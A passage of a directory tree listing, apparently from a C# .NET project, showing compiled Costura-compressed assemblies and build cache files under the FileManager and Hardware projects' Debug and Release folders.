2E8DE5838A28E8C6013A58EB269CAAA34B93DD7B.costura.packetlib.dll.compressed │ │ │ │ ├── 2F18FE4B8E2017B52E5CA85A7BDD0BD4E6B54171.costura.packetlib.dll.compressed │ │ │ │ ├── 33867E33601BC7E54BB7B0E809B1B6CA6F92A296.costura.packetlib.dll.compressed │ │ │ │ ├── 35DA33868357D20B7950F93585CCE057BEBFED71.costura.packetlib.dll.compressed │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ ├── 4BE517A006839CFA1DEC9930EAA5B319D92819D3.costura.packetlib.dll.compressed │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ ├── 5252EBA4B6398A776C1EA9828EDB579170ACB663.costura.packetlib.dll.compressed │ │ │ │ ├── 574F4EEA41F5F2738728AD7FC91F9464C8A32220.costura.packetlib.dll.compressed │ │ │ │ ├── 58B7790B7A9E3AE1AADCF722F6A715F81C058BFD.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 59DF63E02F616DC1B2A325E7715A2F4CEFE9A170.costura.packetlib.dll.compressed │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD46A212CD462EE7577AD3B8A7AB9F481D0CE7E.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ ├── 63EF65944CB0DF6531CECC82F495A6E13F910A7A.costura.packetlib.dll.compressed │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ ├── 67E0CC3CB01C0C868ECD3CCB7699F6AB461CB1CF.costura.packetlib.dll.compressed │ │ │ │ ├── 6AF049DECCD6D8E290917D8E36B8738EE5D88554.costura.packetlib.dll.compressed │ │ │ │ ├── 6CE4FB41D327CB76FA40B68828CE5A6459CF9248.costura.packetlib.dll.compressed │ │ │ │ ├── 72DCABA51E82CF694893ECFA26A73DAF0068BD5C.costura.packetlib.dll.compressed │ │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ │ ├── 7EBD6DF9C00B35FB7A99F38EE7E2BCC73CED833D.costura.packetlib.dll.compressed │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ ├── 8387A8F76010F0A3E3823261A8EF2B3B47D3DCA4.costura.packetlib.dll.compressed │ │ │ │ ├── 894362D086B3A52F3B4495D8A886E18058867328.costura.packetlib.dll.compressed │ │ │ │ ├── 89CA7B756CF6BCD416A9DE6FE172B44C30F5FA83.costura.packetlib.dll.compressed │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ ├── A5E325D30DF28A8EB3305AFBD760DB72AA6B2A19.costura.packetlib.dll.compressed │ │ │ │ ├── A8161DF85C64179973A14391011607232CF35A08.costura.packetlib.dll.compressed │ │ │ │ ├── A979F8E1ED39DF411F0A84AB3A9569C098A26104.costura.packetlib.dll.compressed │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ ├── C379523049BA2A34327E985B0830EA2F76F84FBA.costura.packetlib.dll.compressed │ │ │ │ ├── C6CF66B9D69806693131C83107A1CBE592FCCABF.costura.packetlib.dll.compressed │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ ├── D397680813DE441E4E240A6FD77D4EE02E59FFD4.costura.packetlib.dll.compressed │ │ │ │ ├── D70FCF77F5B2ABAC385D3CC8F4271D685FE093FC.costura.packetlib.dll.compressed │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ ├── DCF03F184CFC24621503199BA48A3C5F93D1048B.costura.packetlib.dll.compressed │ │ │ │ ├── DF2EF5F848FC106B8C6A5641B29D1771A3B6BCCB.costura.packetlib.dll.compressed │ │ │ │ ├── E0AD6522263EC86D238F24EA03673DCF97CA5966.costura.packetlib.dll.compressed │ │ │ │ ├── E23690713F21D4E3D0EDAE8A9D30B6D81A24B427.costura.packetlib.dll.compressed │ │ │ │ ├── E8108A0FEBB8E80CDE1C8DC3906561FEB070B0D0.costura.packetlib.dll.compressed │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ ├── F5620B67C66223652A38725BC49476F1CFA3ED53.costura.packetlib.dll.compressed │ │ │ │ ├── F8EC64B2D9B366E1918BA7CDDA67169F986C8B12.costura.packetlib.dll.compressed │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ ├── FAA207544D6166658F1ED74A439DDF6A2E2F477D.costura.packetlib.dll.compressed │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── FileManager.csproj.AssemblyReference.cache │ │ │ ├── FileManager.csproj.CoreCompileInputs.cache │ │ │ ├── FileManager.csproj.FileListAbsolute.txt │ │ │ ├── FileManager.csproj.Fody.CopyLocal.cache │ │ │ └── build.force │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ ├── 2A8D7F27D79DB34478B91035E83925F7757E8EEE.costura.packetlib.dll.compressed │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ ├── 3709343EA1EE68BD1B7AE6CF43D2FF0C9035083F.costura.packetlib.dll.compressed │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ ├── 6470C4F8FA3B9782872DAA8DEE88B09B8E0AC943.costura.packetlib.dll.compressed │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ ├── 696773852C73832EDB0CCB46A845E385DDEE2F28.costura.packetlib.dll.compressed │ │ │ ├── 6C881D2661F4690A73F0AF35DE3E80823BFECC8B.costura.packetlib.dll.compressed │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ ├── 7D42CDFC44758C5D8721E71785221053C8796D44.costura.packetlib.pdb.compressed │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ ├── BCCEE1AC6832C9F4B6B442C2E6A79AF0B45AF160.costura.packetlib.dll.compressed │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ ├── C19AD1741E2E757BF117F7E49F7A79C0349ACC0B.costura.packetlib.pdb.compressed │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ ├── D3BC27C1E42A96AA74B500DEEE89C6DBF70E2661.costura.packetlib.dll.compressed │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── FileManager.csproj.AssemblyReference.cache │ │ ├── FileManager.csproj.CoreCompileInputs.cache │ │ ├── FileManager.csproj.FileListAbsolute.txt │ │ ├── FileManager.csproj.Fody.CopyLocal.cache │ │ └── _IsIncrementalBuild │ ├── Hardware/ │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Hardware.csproj │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── obj/ │ │ │ ├── Debug/ │ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ │ ├── Costura/ │ │ │ │ │ ├── 0631979B723EB169E70E087FD59439C736A71401.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 0C03A97A4873EE3544314DCB9E2CF1927A8AA06E.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 134FCD64D7F2F7607CF326D6A1DB8559BC5726A7.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 1FEA5F8FA655B193A04C274724FE663EA6A0387E.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ │ ├── 27CBD9A40964A5DA93DF8F941517C0325ECFD9EC.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 2A18817847AF24A1B233B72173603E88117AFFE5.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ │ ├── 37E2A24200D20C11EF86A6A398955D3ADFBEF706.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4EAA5A47C90E1A2AD24EC41065CBE89E07623A51.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 504C9532ADD5D3003765B46D31875DDB1EFE435C.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 53FFAA3F18CA2338D4C70CD24866D6FF580130C1.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6767F946F0C860515466B18FE1C039D496EDD346.costura.hookhardware.dll.compressed │ │ │ │ │ ├── 7B32E1A26EF18123290BECFEC534CD8F30E60E83.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9105ACAA254C02265E7E98C52C06D7DD9BC08081.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ │ ├── C6C95B42DB7E7AB5F59F41E6FD096AD9AC2727BE.costura.hookhardware.dll.compressed │ │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ │ ├── D325FD236AA714066A9F79CEFED884D769B8B49F.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ │ ├── EAEEDAA2AC6C541BB578A26FE73CBD79E1DC2CC8.costura.hookhardware.dll.compressed │ │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ │ ├── FCAB644CB089B16F22E84FE4D5CC5DCF0FAEABEE.costura.hookhardware.pdb.compressed │ │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── Hardware.csproj.AssemblyReference.cache │ │ │ │ ├── Hardware.csproj.CoreCompileInputs.cache │ │ │ │ ├── Hardware.csproj.FileListAbsolute.txt │ │ │ │ ├── Hardware.csproj.Fody.CopyLocal.cache │ │ │ │ └── build.force │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 061AB494021411DF7172952FC2EA57214F5AD919.costura.hookhardware.dll.compressed │ │ │ │ ├── 0637A6590717B11BB6463C7F33FBEE5A86B105B5.costura.hookhardware.dll.compressed │ │ │ │ ├── 0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ ├── 10E7D3CBF005D264CCB1067D6B6A9B6C6FC54471.costura.hookhardware.dll.compressed │ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ │ ├── 3554A9B96630E715949B9482363B33601E94A649.costura.hookhardware.dll.compressed │ │ │ │ ├── 38FA62858EC728C3915A4C6EEEBD10CB16BF15C6.costura.hookhardware.pdb.compressed │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ ├── 49B2A7751F60F726154157DD00BE5E9C6307A463.costura.hookhardware.dll.compressed │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ │ ├── 537330A6D5428FE8855405333F97DD9DB462CEAE.costura.hookhardware.dll.compressed │ │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ │ ├── 701C3F9396DAEA8C57A1A6E4A8CDD95EF45B70CD.costura.hookhardware.pdb.compressed │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ │ ├── 84852CC1728B2DDBE3C868B0BD35438579CF4825.costura.packetlib.dll.compressed │ │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ │ ├── A79F900991CFD8A28B6D0572D0FCFCF083622301.costura.hookhardware.dll.compressed │ │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ │ ├── B6882FC314800A252F8DC908E2BC947A869C55B8.costura.hookhardware.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── B8289B97BBF269003497199490DC10CC5A9E9D9A.costura.hookhardware.dll.compressed │ │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ ├── CC5A5AB59ADFD22B29C0AAA9A3070817FE0DAEC6.costura.hookhardware.dll.compressed │ │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ │ ├── D6B7538AE9BA7B519831D66006D6C93A3E538AB0.costura.hookhardware.dll.compressed │ │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ │ ├── ECA88308F62F8483DED18C98909B637273316C61.costura.hookhardware.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ │ ├── F60BE60862EC942C43E0709AD1CC6ADDA874DD19.costura.hookhardware.dll.compressed │ │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Hardware.csproj.AssemblyReference.cache │ │ │ ├── Hardware.csproj.CoreCompileInputs.cache │ │ 